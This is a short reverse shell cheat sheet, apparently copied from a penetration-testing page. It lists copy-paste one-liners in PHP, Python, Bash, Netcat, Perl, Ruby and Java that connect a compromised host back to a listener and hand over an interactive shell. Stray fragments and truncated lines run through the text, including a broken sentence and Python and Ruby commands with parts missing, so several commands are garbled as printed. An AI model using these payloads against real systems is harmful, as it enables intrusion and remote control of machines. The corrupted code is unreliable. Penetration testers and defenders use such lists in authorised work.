Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability ^( during a penetration test, pretty ^( soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse ^( shell or binding a shell to a TCP port. This page deals with the former.
binary ^( program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows ^( if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.

Php :

php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Python :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Bash :

bash -i >& /dev/tcp/ 0>&1

Netcat :

nc -e /bin/sh 4444

Perl :

perl -e 'use Socket;$i="";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby :

ruby -rsocket -e'"",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java :

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
